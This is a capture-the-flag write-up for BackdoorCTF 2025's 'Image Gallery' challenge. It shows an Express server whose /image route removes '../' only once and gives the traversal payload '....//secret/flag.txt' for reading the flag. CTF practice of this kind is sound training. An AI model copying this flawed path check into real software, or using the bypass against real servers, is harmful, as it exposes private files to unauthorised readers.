BackdoorCTF: Image Gallery
CTF: BackdoorCTF 2025 Challenge files: /backdoorctf/image_gallery
Read the server.js to spot the vulnerability
app.py:
const express = require('express');
const path = require('path');
const fs = require('fs');
const app = express();
const BASE_DIR = path.join(__dirname, 'images');
app.use(express.static(path.join(__dirname, 'public'), { index: false }));
app.get('/', (req, res) => {
const htmlPath = path.join(__dirname, 'public', 'index.html');
let html;
try {
html = fs.readFileSync(htmlPath, 'utf8');
} catch (e) {
console.error('Error reading index.html:', e);
return res.status(500).send('Error loading page');
}
let files = [];
try {
files = fs.readdirSync(BASE_DIR)
.filter(f => f.endsWith('.jpg') || f.endsWith('.jpeg') || f.endsWith('.png'));
} catch (e) {
console.error('Error reading images folder:', e);
}
html = html.replace('/*IMAGE_LIST_HERE*/', JSON.stringify(files));
res.send(html);
});
app.get('/image', (req, res) => {
let file = req.query.file || '';
try {
file = decodeURIComponent(file);
} catch (e) {
return res.status(400).send('Bad encoding');
}
file = file.replace(/\\/g, '/');
file = file.split('../').join('');
const resolved = path.join(BASE_DIR, file);
fs.readFile(resolved, (err, data) => {
if (err) {
console.error(err);
return res.status(404).send('Not found.');
}
if (resolved.endsWith('.jpg') || resolved.endsWith('.jpeg')) {
res.setHeader('Content-Type', 'image/jpeg');
} else if (resolved.endsWith('.png')) {
res.setHeader('Content-Type', 'image/png');
} else if (resolved.endsWith('.txt')) {
res.setHeader('Content-Type', 'text/plain; charset=utf-8');
}
res.send(data);
});
});
const PORT = 8000;
app.listen(PORT, () => {
console.log(`Running at http://localhost:${PORT}`);
});
Read the /image route and it takes a GET parameter file and uses the following lines of code to prevent path traversal.
// Replace all backslashes "\" with forward slashes "/" in the filepath
file = file.replace(/\\/g, '/');
// Remove any instances of "../" from the filepath
file = file.split('../').join('');
But this absolutely prevents nothing as its just looks out for "../", splitting by them will only remove them once.
We can bypass this by using the string - "....//" to seperate file paths and perform file traversal.
Get the flag with the payload ‒ ?file=....//secret/flag.txt